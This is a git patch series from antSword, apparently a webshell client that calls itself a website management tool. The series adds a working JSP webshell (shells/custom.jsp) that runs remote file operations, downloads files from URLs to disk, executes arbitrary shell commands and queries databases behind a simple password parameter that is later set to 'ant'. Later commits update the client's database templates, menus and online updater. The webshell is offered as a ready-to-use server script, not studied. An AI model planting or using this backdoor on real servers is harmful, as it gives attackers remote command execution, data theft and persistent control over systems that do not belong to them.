sQ = l[i].canRead() ? "R" : ""; + sQ += l[i].canWrite() ? " W" : ""; + if (l[i].isDirectory()) { + s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; + } else { + sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; + } + } + return s += sF; + } + + String ReadFileCode(String filePath) throws Exception { + String l = "", s = ""; + BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)))); + while ((l = br.readLine()) != null) { + s += l + "\r\n"; + } + br.close(); + return s; + } + + String WriteFileCode(String filePath, String fileContext) throws Exception { + BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath)))); + bw.write(fileContext); + bw.close(); + return "1"; + } + + String DeleteFileOrDirCode(String fileOrDirPath) throws Exception { + File f = new File(fileOrDirPath); + if (f.isDirectory()) { + File x[] = f.listFiles(); + for (int k = 0; k < x.length; k++) { + if (!x[k].delete()) { + DeleteFileOrDirCode(x[k].getPath()); + } + } + } + f.delete(); + return "1"; + } + + void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception { + int n; + byte[] b = new byte[512]; + r.reset(); + ServletOutputStream os = r.getOutputStream(); + BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath)); + os.write(("->|").getBytes(), 0, 3); + while ((n = is.read(b, 0, 512)) != -1) { + os.write(b, 0, n); + } + os.write(("|<-").getBytes(), 0, 3); + os.close(); + is.close(); + } + + String UploadFileCode(String savefilePath, String fileHexContext) throws Exception { + String h = "0123456789ABCDEF"; + File f = new File(savefilePath); + f.createNewFile(); + FileOutputStream os = new FileOutputStream(f); + for (int i = 0; i < fileHexContext.length(); i += 2) { + os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); + } + os.close(); + return "1"; + } + + String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception { + File sf = new File(sourceFilePath), df = new File(targetFilePath); + if (sf.isDirectory()) { + if (!df.exists()) { + df.mkdir(); + } + File z[] = sf.listFiles(); + for (int j = 0; j < z.length; j++) { + CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName()); + } + } else { + FileInputStream is = new FileInputStream(sf); + FileOutputStream os = new FileOutputStream(df); + int n; + byte[] b = new byte[1024]; + while ((n = is.read(b, 0, 1024)) != -1) { + os.write(b, 0, n); + } + is.close(); + os.close(); + } + return "1"; + } + + String RenameFileOrDirCode(String oldName, String newName) throws Exception { + File sf = new File(oldName), df = new File(newName); + sf.renameTo(df); + return "1"; + } + + String CreateDirCode(String dirPath) throws Exception { + File f = new File(dirPath); + f.mkdir(); + return "1"; + } + + String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception { + File f = new File(fileOrDirPath); + SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + java.util.Date dt = fm.parse(aTime); + f.setLastModified(dt.getTime()); + return "1"; + } + + String WgetCode(String urlPath, String saveFilePath) throws Exception { + URL u = new URL(urlPath); + int n = 0; + FileOutputStream os = new FileOutputStream(saveFilePath); + HttpURLConnection h = (HttpURLConnection) u.openConnection(); + InputStream is = h.getInputStream(); + byte[] b = new byte[512]; + while ((n = is.read(b)) != -1) { + os.write(b, 0, n); + } + os.close(); + is.close(); + h.disconnect(); + return "1"; + } + + String SysInfoCode(HttpServletRequest r) throws Exception { + String d = r.getSession().getServletContext().getRealPath("/"); + String serverInfo = System.getProperty("os.name"); + String separator = File.separator; + String user = System.getProperty("user.name"); + String driverlist = WwwRootPathCode(r); + return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; + } + + boolean isWin() { + String osname = System.getProperty("os.name"); + osname = osname.toLowerCase(); + if (osname.startsWith("win")) + return true; + return false; + } + + String ExecuteCommandCode(String cmdPath, String command) throws Exception { + StringBuffer sb = new StringBuffer(""); + String[] c = { cmdPath, !isWin() ? "-c" : "/c", command }; + Process p = Runtime.getRuntime().exec(c); + CopyInputStream(p.getInputStream(), sb); + CopyInputStream(p.getErrorStream(), sb); + return sb.toString(); + } + + String decode(String str) { + byte[] bt = null; + try { + sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); + bt = decoder.decodeBuffer(str); + } catch (IOException e) { + e.printStackTrace(); + } + return new String(bt); + } + String decode(String str, String encode){ + if(encode.equals("hex") || encode=="hex"){ + if(str=="null"||str.equals("null")){ + return ""; + } + StringBuilder sb = new StringBuilder(); + StringBuilder temp = new StringBuilder(); + try{ + for(int i=0; i +<% + response.setContentType("text/html"); + response.setCharacterEncoding(cs); + StringBuffer sb = new StringBuffer(""); + try { + String funccode = EC(request.getParameter(Pwd) + ""); + String z0 = decode(EC(request.getParameter("z0")+""), encoder); + String z1 = decode(EC(request.getParameter("z1") + ""), encoder); + String z2 = decode(EC(request.getParameter("z2") + ""), encoder); + String z3 = decode(EC(request.getParameter("z3") + ""), encoder); + String[] pars = { z0, z1, z2, z3}; + sb.append("->|"); + + if (funccode.equals("B")) { + sb.append(FileTreeCode(pars[1])); + } else if (funccode.equals("C")) { + sb.append(ReadFileCode(pars[1])); + } else if (funccode.equals("D")) { + sb.append(WriteFileCode(pars[1], pars[2])); + } else if (funccode.equals("E")) { + sb.append(DeleteFileOrDirCode(pars[1])); + } else if (funccode.equals("F")) { + DownloadFileCode(pars[0], response); + } else if (funccode.equals("U")) { + sb.append(UploadFileCode(pars[1], pars[2])); + } else if (funccode.equals("H")) { + sb.append(CopyFileOrDirCode(pars[1], pars[2])); + } else if (funccode.equals("I")) { + sb.append(RenameFileOrDirCode(pars[1], pars[2])); + } else if (funccode.equals("J")) { + sb.append(CreateDirCode(pars[1])); + } else if (funccode.equals("K")) { + sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2])); + } else if (funccode.equals("L")) { + sb.append(WgetCode(pars[1], pars[2])); + } else if (funccode.equals("M")) { + sb.append(ExecuteCommandCode(pars[1], pars[2])); + } else if (funccode.equals("N")) { + sb.append(showDatabases(pars[0], pars[1])); + } else if (funccode.equals("O")) { + sb.append(showTables(pars[0], pars[1], pars[2])); + } else if (funccode.equals("P")) { + sb.append(showColumns(pars[0], pars[1], pars[2], pars[3])); + } else if (funccode.equals("Q")) { + sb.append(query(pars[0], pars[1], pars[2])); + } else if (funccode.equals("A")) { + sb.append(SysInfoCode(request)); + } + } catch (Exception e) { + sb.append("ERROR" + "://" + e.toString()); + } + sb.append("|<-"); + out.print(sb.toString()); +%> diff --git a/source/core/custom/template/database/default.jsx b/source/core/custom/template/database/default.jsx index 90f58f95..a55025a7 100644 --- a/source/core/custom/template/database/default.jsx +++ b/source/core/custom/template/database/default.jsx @@ -1,11 +1,12 @@ -// +// // 默认代码模板 -// +// // @params // :encode SHELL编码 // :conn 数据库连接字符串 // :sql 执行SQL语句 -// +// :db 数据库名 +// :table 表名 module.exports = { show_databases: { @@ -16,12 +17,15 @@ module.exports = { show_tables: { _: 'O', 'z0': '#{encode}', - 'z1': '#{conn}' + 'z1': '#{conn}', + 'z2': '#{db}' }, show_columns: { _: 'P', 'z0': '#{encode}', - 'z1': '#{conn}' + 'z1': '#{conn}', + 'z2': '#{db}', + 'z3': '#{table}' }, query: { _: 'Q', @@ -29,4 +33,4 @@ module.exports = { 'z1': '#{conn}', 'z2': '#{sql}' } -} \ No newline at end of file +} diff --git a/source/modules/database/custom/index.jsx b/source/modules/database/custom/index.jsx index 0b736d39..10a13675 100644 --- a/source/modules/database/custom/index.jsx +++ b/source/modules/database/custom/index.jsx @@ -1,7 +1,7 @@ -// +// // 数据库驱动::ASP // 支持数据库:access,sqlserver,mysql -// +// class ASP { @@ -9,9 +9,9 @@ class ASP { this.opt = opt; this.core = this.opt.core; this.manager = this.opt.super; - // + // // * 数据库驱动列表 - // + // this.conns = { 'mysql': 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456', 'sqlserver': 'com.microsoft.sqlserver.jdbc.SQLServerDriver\r\njdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456', @@ -71,10 +71,11 @@ class ASP { // 生成查询SQL语句 case 'column': let _co = arr[1].split(':'); + const db = new Buffer(_co[1], 'base64').toString(); const table = new Buffer(_co[2], 'base64').toString(); const column = new Buffer(_co[3], 'base64').toString(); - const sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`; + const sql = `SELECT ${column} FROM ${db}.${table} ORDER BY 1 DESC;`; this.manager.query.editor.session.setValue(sql); break; } @@ -253,7 +254,7 @@ class ASP { { conn: conf['conn'], encode: this.manager.opt.encode, - dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' + db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' }, (ret) => { const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { @@ -293,7 +294,7 @@ class ASP { { conn: conf['conn'], encode: this.manager.opt.encode, - dbname: db + db: db }, (ret) => { const arr = ret.split('\t'); const _db = new Buffer(db).toString('base64'); @@ -329,7 +330,8 @@ class ASP { { conn: conf['conn'], encode: this.manager.opt.encode, - table: conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A) WHERE N=1` : `SELECT TOP 1 * FROM ${table}` + db: db, + table: table }, (ret) => { const arr = ret.split('\t'); const _db = new Buffer(db).toString('base64'); @@ -352,8 +354,8 @@ class ASP { // 更新编辑器SQL语句 this.manager.query.editor.session.setValue( conf['type'] === 'oracle' - ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20` - : `SELECT TOP 20 * FROM ${table} ORDER BY 1 DESC;`); + ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${db}.${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20` + : `SELECT * FROM ${db}.${table} ORDER BY 1 DESC LIMIT 0,20;`); this.manager.list.layout.progressOff(); }); } @@ -454,4 +456,4 @@ class ASP { } -module.exports = ASP; \ No newline at end of file +module.exports = ASP; From 2ee1e9d53c8ba78be58ae810f7e06af6a5538580 Mon Sep 17 00:00:00 2001 From: antoor Date: Sat, 26 Mar 2016 23:31:52 +0800 Subject: [PATCH 10/16] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E4=B8=80=E4=BA=9B?= =?UTF-8?q?=E7=BB=86=E8=8A=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- CHANGELOG.md | 2 +- shells/README.md | 2 ++ shells/custom.jsp | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) create mode 100644 shells/README.md diff --git a/CHANGELOG.md b/CHANGELOG.md index 8fb53b12..512d112f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,7 +6,7 @@ ### /26 1. 文件管理双击:size < 100kb ? 编辑 : 下载 - 2. 调整 Custom 方式数据库部分代码 + 2. 调整 Custom 方式数据库部分代码 // 2-4:感谢[@Medicean](https://github.com/Medicean) 3. 添加 Shells 目录, 用于存放 shell 样本代码 4. 添加 `custom.jsp` 服务端样本代码 diff --git a/shells/README.md b/shells/README.md new file mode 100644 index 00000000..f31e8c67 --- /dev/null +++ b/shells/README.md @@ -0,0 +1,2 @@ +## Shell-Scripts +> 此目录用于存放一些示例的服务端脚本文件,仅供参考。 \ No newline at end of file diff --git a/shells/custom.jsp b/shells/custom.jsp index 02abdaa6..53e0a3ad 100644 --- a/shells/custom.jsp +++ b/shells/custom.jsp @@ -9,7 +9,7 @@ * 2. mysql 数据库支持 * 3. 支持 base64 和 hex 编码 **/ - String Pwd = "a"; //连接密码 + String Pwd = "ant"; //连接密码 String encoder = "base64"; // 数据编码 //String encoder = "hex"; String cs = "UTF-8"; From 2c3afe9566f78d1888d0970908deac08bd0dba25 Mon Sep 17 00:00:00 2001 From: antoor Date: Sun, 27 Mar 2016 01:31:09 +0800 Subject: [PATCH 11/16] Repair read file failed --- source/app.entry.jsx | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/source/app.entry.jsx b/source/app.entry.jsx index 315de69d..4754caab 100644 --- a/source/app.entry.jsx +++ b/source/app.entry.jsx @@ -8,6 +8,7 @@ 'use strict'; const fs = global.require('fs'); +const path = global.require('path'); const electron = global.require('electron'); const remote = electron.remote; const ipcRenderer = electron.ipcRenderer; @@ -58,7 +59,7 @@ ipcRenderer.send('aproxy', { antSword['ipcRenderer'] = ipcRenderer; antSword['CacheManager'] = CacheManager; antSword['menubar'] = new Menubar(); -antSword['package'] = JSON.parse(fs.readFileSync('./package.json')); +antSword['package'] = JSON.parse(fs.readFileSync(path.join(global.__dirname, '../package.json'))); // 加载模块列表 // antSword['tabbar'] = new dhtmlXTabBar(document.getElementById('container')); From f2ea9e157e87faa542f16080ff6353299219ccc5 Mon Sep 17 00:00:00 2001 From: antoor Date: Sun, 27 Mar 2016 02:12:19 +0800 Subject: [PATCH 12/16] Add debug switch --- modules/menubar.js | 99 +++++++++++++++++++++++++--------------------- package.json | 1 + 2 files changed, 54 insertions(+), 46 deletions(-) diff --git a/modules/menubar.js b/modules/menubar.js index f9fb7844..d1e53f1a 100644 --- a/modules/menubar.js +++ b/modules/menubar.js @@ -4,6 +4,11 @@ 'use strict'; +// 读取package.json信息 +const info = JSON.parse( + require('fs').readFileSync(require('path').join(__dirname, '../package.json')) +); + class Menubar { constructor(electron, app, mainWindow) { @@ -14,6 +19,7 @@ class Menubar { Menu.setApplicationMenu(Menu.buildFromTemplate([])); // 监听重载菜单事件 ipcMain.on('menubar', this.reload.bind(this)); + ipcMain.on('quit', app.quit.bind(app)); this.electron = electron; this.app = app; @@ -95,8 +101,11 @@ class Menubar { click: event.sender.send.bind(event.sender, 'menubar', 'tabbar-close') } ] - }, { - // 调试 + } + ]; + // 调试菜单 + if (info['debug']) { + template.push({ label: LANG['debug']['title'], submenu: [ { @@ -109,51 +118,49 @@ class Menubar { click: this.mainWindow.webContents.toggleDevTools.bind(this.mainWindow.webContents) } ] - } - ]; - // OSX主菜单 - // if (process.platform === 'darwin') { - template.unshift({ - label: LANG['main']['title'], - submenu: [ - { - label: LANG['main']['about'], - accelerator: 'Shift+CmdOrCtrl+I', - click: event.sender.send.bind(event.sender, 'menubar', 'settings-about') - }, { - label: LANG['main']['language'], - accelerator: 'Shift+CmdOrCtrl+L', - click: event.sender.send.bind(event.sender, 'menubar', 'settings-language') - }, { - label: LANG['main']['aproxy'], - accelerator: 'Shift+CmdOrCtrl+A', - click: event.sender.send.bind(event.sender, 'menubar', 'settings-aproxy') - }, { - label: LANG['main']['update'], - accelerator: 'Shift+CmdOrCtrl+U', - click: event.sender.send.bind(event.sender, 'menubar', 'settings-update') - }, { - type: 'separator' - }, { - label: LANG['main']['settings'], - accelerator: 'Shift+CmdOrCtrl+S', - click: event.sender.send.bind(event.sender, 'menubar', 'settings') - }, { - type: 'separator' - }, { - label: LANG['main']['plugin'], - accelerator: 'Shift+CmdOrCtrl+P', - click: event.sender.send.bind(event.sender, 'menubar', 'plugin') - }, { - type: 'separator' - }, { - label: LANG['main']['quit'], - accelerator: 'Command+Q', - click: this.app.quit.bind(this.app) - }, - ] }); - // }; + }; + // 主菜单 + template.unshift({ + label: LANG['main']['title'], + submenu: [ + { + label: LANG['main']['about'], + accelerator: 'Shift+CmdOrCtrl+I', + click: event.sender.send.bind(event.sender, 'menubar', 'settings-about') + }, { + label: LANG['main']['language'], + accelerator: 'Shift+CmdOrCtrl+L', + click: event.sender.send.bind(event.sender, 'menubar', 'settings-language') + }, { + label: LANG['main']['aproxy'], + accelerator: 'Shift+CmdOrCtrl+A', + click: event.sender.send.bind(event.sender, 'menubar', 'settings-aproxy') + }, { + label: LANG['main']['update'], + accelerator: 'Shift+CmdOrCtrl+U', + click: event.sender.send.bind(event.sender, 'menubar', 'settings-update') + }, { + type: 'separator' + }, { + label: LANG['main']['settings'], + accelerator: 'Shift+CmdOrCtrl+S', + click: event.sender.send.bind(event.sender, 'menubar', 'settings') + }, { + type: 'separator' + }, { + label: LANG['main']['plugin'], + accelerator: 'Shift+CmdOrCtrl+P', + click: event.sender.send.bind(event.sender, 'menubar', 'plugin') + }, { + type: 'separator' + }, { + label: LANG['main']['quit'], + accelerator: 'Command+Q', + click: this.app.quit.bind(this.app) + }, + ] + }); // 更新菜单栏 this.Menu.setApplicationMenu(this.Menu.buildFromTemplate(template)); } diff --git a/package.json b/package.json index 777d86a5..1d14809b 100644 --- a/package.json +++ b/package.json @@ -28,6 +28,7 @@ "type": "git", "url": "https://github.com/antoor/antSword" }, + "debug": true, "update": { "md5": "f7287aa765941d1e039f5b654344ccc5", "logs": "测试更新日志1\n测试更新日志2\n新增在线更新功能\n新增文件管理模块双击文件打开编辑窗口(如果文件大小<100kb)", From 15f45d5f2585cd18f3cfb5d3fc39471220aad704 Mon Sep 17 00:00:00 2001 From: antoor Date: Sun, 27 Mar 2016 23:25:33 +0800 Subject: [PATCH 13/16] update test --- package.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/package.json b/package.json index 1d14809b..2cf68f8e 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "antsword", - "version": "1.1.0", + "version": "1.1.1", "description": "中国蚁剑是一款跨平台的开源网站管理工具", "main": "app.js", "dependencies": { @@ -28,12 +28,12 @@ "type": "git", "url": "https://github.com/antoor/antSword" }, - "debug": true, + "debug": false, "update": { "md5": "f7287aa765941d1e039f5b654344ccc5", "logs": "测试更新日志1\n测试更新日志2\n新增在线更新功能\n新增文件管理模块双击文件打开编辑窗口(如果文件大小<100kb)", "sources": { - "local": "http://localhost:8000/1.1.0/update.zip", + "test": "http://192.168.1.6:8000/1.1.0/update.zip", "github": "https://github.com/antoor/antSword/releases/download/1.1.0/app.asar.zip" } }, From a5a2d612fef5d82fadca33e5c491285b36a9f3d7 Mon Sep 17 00:00:00 2001 From: antoor Date: Mon, 28 Mar 2016 00:20:12 +0800 Subject: [PATCH 14/16] update test.. --- package.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/package.json b/package.json index 2cf68f8e..9e1034ee 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "antsword", - "version": "1.1.1", + "version": "1.1.2", "description": "中国蚁剑是一款跨平台的开源网站管理工具", "main": "app.js", "dependencies": { @@ -28,7 +28,7 @@ "type": "git", "url": "https://github.com/antoor/antSword" }, - "debug": false, + "debug": true, "update": { "md5": "f7287aa765941d1e039f5b654344ccc5", "logs": "测试更新日志1\n测试更新日志2\n新增在线更新功能\n新增文件管理模块双击文件打开编辑窗口(如果文件大小<100kb)", From eceddda32d746a922d3ebcac667e886c3b4fa20d Mon Sep 17 00:00:00 2001 From: antoor Date: Tue, 29 Mar 2016 23:24:20 +0800 Subject: [PATCH 15/16] update to v1.1.1. // new online update feature --- app.js | 6 +- modules/update.js | 118 +++++++++++++++++++++++ package.json | 16 ++-- source/language/en.jsx | 25 +++++ source/language/zh.jsx | 25 +++++ source/modules/settings/update.jsx | 148 +++++++++++++++++++++++++++-- static/css/index.css | 144 +++++++++++++++++++++++++++- 7 files changed, 464 insertions(+), 18 deletions(-) create mode 100644 modules/update.js diff --git a/app.js b/app.js index f858707e..56c497d7 100644 --- a/app.js +++ b/app.js @@ -5,10 +5,11 @@ const app = electron.app; const BrowserWindow = electron.BrowserWindow; // 导入模块 +const Cache = require('./modules/cache'); +const Update = require('./modules/update'); const Menubar = require('./modules/menubar'); const Request = require('./modules/request'); const Database = require('./modules/database'); -const Cache = require('./modules/cache'); // electron.crashReporter.start(); @@ -59,4 +60,7 @@ app // 初始化缓存模块 new Cache(electron); + // 监听更新请求 + new Update(electron); + }); \ No newline at end of file diff --git a/modules/update.js b/modules/update.js new file mode 100644 index 00000000..ae4a2c29 --- /dev/null +++ b/modules/update.js @@ -0,0 +1,118 @@ +// +// 程序更新模块 +// +/* 更新流程: + ------- + 1. 获取远程github上的package.json信息 + 2. 和本地版本进行判断,不一致则提示更新 + 3. 下载用户选择的更新源文件到临时目录`.antSword-{now}` + 4. 替换程序中的`resources/app.asar`文件 + 5. 提示用户手动重启,关闭应用 +*/ + +'use strict'; + +const os = require('os'), + fs = require('fs'), + path = require('path'), + unzip = require('extract-zip'), + crypto = require('crypto'), + nugget = require('nugget'), + logger = require('log4js').getLogger('Update'), + superagent = require('superagent'); + +class Update { + + constructor(electron) { + const ipcMain = electron.ipcMain; + this.info = {}; + ipcMain + .on('update-check', (event, arg) => { + this.check(arg['local_ver'], (hasUpdate, retVal) => { + logger.debug('check-result', hasUpdate, retVal); + event.sender.send('update-check', { + hasUpdate: hasUpdate, + retVal: retVal + }); + }); + }) + .on('update-download', (event, source) => { + logger.debug('update-download', source); + const info = this.info['update']; + const downloadUrl = info['sources'][source]; + this.download(downloadUrl, info['md5'], (done, retVal) => { + event.sender.send('update-download', { + done: done, + retVal: retVal + }); + }); + }); + } + + // 检查是否有更新 + // 参数{localVer: 本地版本号, callback: 回调函数(是否有更新, 是?更新信息:错误信息)} + check(localVer, callback) { + logger.debug('check', localVer); + superagent + .get('https://raw.githubusercontent.com/antoor/antSword/v1.1-dev/package.json') + .timeout(9527) + .end((err, res) => { + if (err) { return callback(false, err.toString()) }; + try { + const info = JSON.parse(res.text); + this.info = info; + callback(info['version'] !== localVer, info); + } catch (e) { + return callback(false, e.toString()); + } + }); + } + + // 下载更新 + // 参数{downloadUrl: 下载地址, md5: 校验MD5, callback: 回调(成功?(true, null):(false, err))} + download(downloadUrl, md5, callback) { + // 创建临时文件 + const tmpDir = os.tmpDir(); + const fileName = '.antSword-' + (+new Date); + const tmpFileName = path.join(tmpDir, fileName); + // 当前目录环境 + const curDir = path.join(__dirname, '../../'); + // 开始下载文件 + nugget( + downloadUrl, + { + target: fileName, + dir: tmpDir, + resume: true, + verbose: true, + strictSSL: downloadUrl.startsWith('https') + }, + (err) => { + if (err) { return callback(false, err.toString()) }; + // 校验MD5 + const _md5 = crypto.createHash('md5').update(fs.readFileSync(tmpFileName)).digest('hex'); + if (_md5 !== md5) { return callback(false, { type: 'md5', err: _md5 }) }; + // ZIP解压 + unzip(tmpFileName, { + dir: tmpDir + }, (e) => { + if (e) { return (callback(false, { type: 'unzip', err: e })) }; + // 删除旧asar + // fs.unlinkSync(path.join(curDir, 'app.asar')); + // 移动新asar + fs.rename( + path.join(tmpDir, 'antSword.update'), + path.join(curDir, 'app.asar'), + (_e) => { + _e ? callback(false, _e.toString()) : callback(true); + } + ); + }); + } + ); + } + + +} + +module.exports = Update; \ No newline at end of file diff --git a/package.json b/package.json index 9e1034ee..acbad437 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "antsword", - "version": "1.1.2", + "version": "1.1.1", "description": "中国蚁剑是一款跨平台的开源网站管理工具", "main": "app.js", "dependencies": { @@ -8,12 +8,13 @@ "babel-loader": "^6.2.4", "babel-preset-es2015": "^6.6.0", "babel-preset-stage-0": "^6.5.0", - "electron-prebuilt": "^0.36.10", + "electron-prebuilt": "^0.37.3", "extract-zip": "^1.5.0", "iconv-lite": "^0.4.13", "lib-qqwry": "^0.0.5", "log4js": "^0.6.29", "nedb": "^1.5.1", + "nugget": "^2.0.0", "superagent": "^1.6.1", "superagent-proxy": "^1.0.0", "webpack": "^1.12.14" @@ -28,14 +29,11 @@ "type": "git", "url": "https://github.com/antoor/antSword" }, - "debug": true, + "debug": false, "update": { - "md5": "f7287aa765941d1e039f5b654344ccc5", - "logs": "测试更新日志1\n测试更新日志2\n新增在线更新功能\n新增文件管理模块双击文件打开编辑窗口(如果文件大小<100kb)", - "sources": { - "test": "http://192.168.1.6:8000/1.1.0/update.zip", - "github": "https://github.com/antoor/antSword/releases/download/1.1.0/app.asar.zip" - } + "md5": "", + "logs": "", + "sources": {} }, "bugs": { "url": "https://github.com/antoor/antSword/issues" diff --git a/source/language/en.jsx b/source/language/en.jsx index 9593ad6b..cf6fead7 100644 --- a/source/language/en.jsx +++ b/source/language/en.jsx @@ -403,8 +403,33 @@ module.exports = { }, update: { title: 'Check update', + current: 'Current version', toolbar: { check: 'Check' + }, + check: { + ing: 'Check for updates..', + fail: (err) => `Check for update failed!
${err}`, + none: (ver) => `After examination, no update![v${ver}]`, + found: (ver) => `Found a new version [v${ver}]` + }, + prompt: { + btns: { + ok: 'Update', + no: 'Cancel' + }, + title: 'Update to version', + changelog: 'Change Logs: ', + sources: 'Download source: ', + fail: { + md5: 'File MD5 value check failed!', + unzip: (err) => `Unzip the file failed! [${err}]` + } + }, + message: { + ing: 'Downloading..', + fail: (err) => `Update failed! [${err}]`, + success: 'Update success! Please manually restart the application later!' } }, aproxy: { diff --git a/source/language/zh.jsx b/source/language/zh.jsx index f54a1082..f1a1de69 100644 --- a/source/language/zh.jsx +++ b/source/language/zh.jsx @@ -404,8 +404,33 @@ module.exports = { }, update: { title: '检查更新', + current: '当前版本', toolbar: { check: '检查' + }, + check: { + ing: '检查更新中。。', + fail: (err) => `检查更新失败!
${err}`, + none: (ver) => `检查完毕,暂无更新!【v${ver}】`, + found: (ver) => `发现新版本【v${ver}】` + }, + prompt: { + btns: { + ok: '更新', + no: '取消' + }, + title: '版本更新', + changelog: '更新日志:', + sources: '更新来源:', + fail: { + md5: '文件MD5值校验失败!', + unzip: (err) => `解压文件失败!【${err}】` + } + }, + message: { + ing: '努力更新中。。', + fail: (err) => `更新失败!【${err}】`, + success: '更新成功!请稍后手动重启应用!' } }, aproxy: { diff --git a/source/modules/settings/update.jsx b/source/modules/settings/update.jsx index c10ede5a..518829b5 100644 --- a/source/modules/settings/update.jsx +++ b/source/modules/settings/update.jsx @@ -3,6 +3,7 @@ // const LANG = antSword['language']['settings']['update']; +const LANG_T = antSword['language']['toastr']; class Update { constructor(sidebar) { @@ -15,19 +16,152 @@ class Update { // toolbar const toolbar = cell.attachToolbar(); toolbar.loadStruct([ - { id: 'check', type: 'button', text: LANG['toolbar']['check'], disabled: true, icon: 'check-square-o' }, - { type: 'separator' } + { + id: 'check', + type: 'button', + // 调试或者windows平台不支持更新 + disabled: antSword['package']['debug'] || process.platform === 'win', + text: LANG['toolbar']['check'], icon: 'check-square-o' + }, { type: 'separator' } ]); + // toolbar点击事件 + toolbar.attachEvent('onClick', (id) => { + switch(id) { + case 'check': + this.checkUpdate(); + break; + } + }); + // status cell.attachHTMLString(` + ${LANG['current']}: ${antSword['package']['version']} + `); + + + this.cell = cell; + } + + // 检查更新 + checkUpdate() { + this.cell.progressOn(); + toastr.info(LANG['check']['ing'], LANG_T['info']); + // 后台检查更新 + antSword['ipcRenderer'] + .on('update-check', (event, ret) => { + this.cell.progressOff(); + const info = ret['retVal']; + // 木有更新 + if (!ret['hasUpdate']) { + return typeof info === 'string' + ? toastr.error(LANG['check']['fail'](info), LANG_T['error']) + : toastr.info(LANG['check']['none'](info['version']), LANG_T['info']); + } + // 发现更新 + toastr.success(LANG['check']['found'](info['version']), LANG_T['success']); + // 更新来源html + let sources_html = ``; + // 提示更新 + layer.open({ + type: 1, + shift: 2, + skin: 'ant-update', + btn: [LANG['prompt']['btns']['ok'], LANG['prompt']['btns']['no']], + closeBtn: 0, + title: ` ${LANG['prompt']['title']}[v${info['version']}]`, + content: ` + ${LANG['prompt']['changelog']} +
    +
  1. ${info['update']['logs'].split('\n').join('
  2. ')} +
+ ${LANG['prompt']['sources']}${sources_html} + `, + yes: () => { + // 获取更新选择地址 + const download_source = $('#ant-update-source').val(); + // 开始更新 + // 更新动画 + this.updateLoading(); + // 通知后台 + antSword['ipcRenderer'] + .on('update-download', (event, ret) => { + // 下载失败 + console.log(ret); + if (!ret['done']) { + if (typeof ret['retVal'] === 'object') { + switch(ret['retVal']['type']) { + case 'md5': + this.updateFail(LANG['prompt']['fail']['md5']); + break; + case 'unzip': + this.updateFail(LANG['prompt']['fail']['unzip'](ret['retVal']['err'])); + break; + default: + this.updateFail(ret['retVal']); + } + } else { + this.updateFail(ret['retVal']); + } + return; + } + this.updateSuccess(); + }) + .send('update-download', download_source); + } + }); + + }) + .send('update-check', { + local_ver: antSword['package']['version'] + }); + } + + // 更新动画 + updateLoading() { + // 删除按钮 + $('.layui-layer-btn').remove(); + // 加载动画 + $('.layui-layer-content').html(` +
+
+
+
+
+
+
+

${LANG['message']['ing']}

+ `); + } + + // 更新失败提示界面 + updateFail(tip) { + $('.layui-layer-content').html(` +
+ +

${LANG['message']['fail'](tip)}

+
+ `); + toastr.error(LANG['message']['fail'](tip), LANG_T['error']); + setTimeout(layer.closeAll, 1024 * 5); + } - 当前版本:${antSword['package']['version']} -
- 暂不支持在线更新! -
- 请访问${antSword['package']['repository']['url']}获取最新版本! + // 更新成功提示界面 + updateSuccess() { + $('.layui-layer-content').html(` +
+ +

${LANG['message']['success']}

+
